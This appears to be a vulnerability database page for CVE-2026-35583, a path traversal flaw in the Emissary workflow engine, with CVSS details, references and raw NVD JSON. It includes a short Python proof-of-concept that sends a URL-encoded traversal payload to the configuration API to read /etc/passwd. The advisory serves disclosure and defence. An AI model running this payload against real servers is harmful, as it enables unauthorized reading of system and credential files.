CVE-2026-35583

Description

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the configuration API endpoint (/api/configuration/{name}) validated configuration names using a blacklist approach that checked for \, /, .., and trailing .. This could potentially be bypassed using URL-encoded variants, double-encoding, or Unicode normalization to achieve path traversal and read configuration files outside the intended directory. This vulnerability is fixed in 8.39.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:nsa:emissary:*:*:*:*:*:*:*:* - VULNERABLE

Emissary < 8.39.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://localhost:8080/api/configuration/"

# Payload using URL encoding to bypass blacklist
# ".." is represented as "%2e%2e"
# Trying to access /etc/passwd (Linux) or C:/Windows/win.ini (Windows)
# Example payload: ../../../../etc/passwd
payload = "..%2f..%2f..%2f..%2fetc%2fpasswd"

full_url = f"{url}{payload}"

try:
    response = requests.get(full_url, timeout=10)
    if response.status_code == 200:
        print(f"[+] Success! File content found:")
        print(response.text)
    else:
        print(f"[-] Failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35583
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35583
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35583/
[4] VulDB https://vuldb.com/cve/CVE-2026-35583
[5] https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-hxf2-gm22-7vcm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35583", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:33.663", "lastModified": "2026-04-16T18:57:47.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the configuration API endpoint (/api/configuration/{name}) validated configuration names using a blacklist approach that checked for \\, /, .., and trailing .. This could potentially be bypassed using URL-encoded variants, double-encoding, or Unicode normalization to achieve path traversal and read configuration files outside the intended directory. This vulnerability is fixed in 8.39.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nsa:emissary:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.38.0", "matchCriteriaId": "9EC86D6D-EB58-4DE4-B88C-C562B33281A0"}]}]}], "references": [{"url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-hxf2-gm22-7vcm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}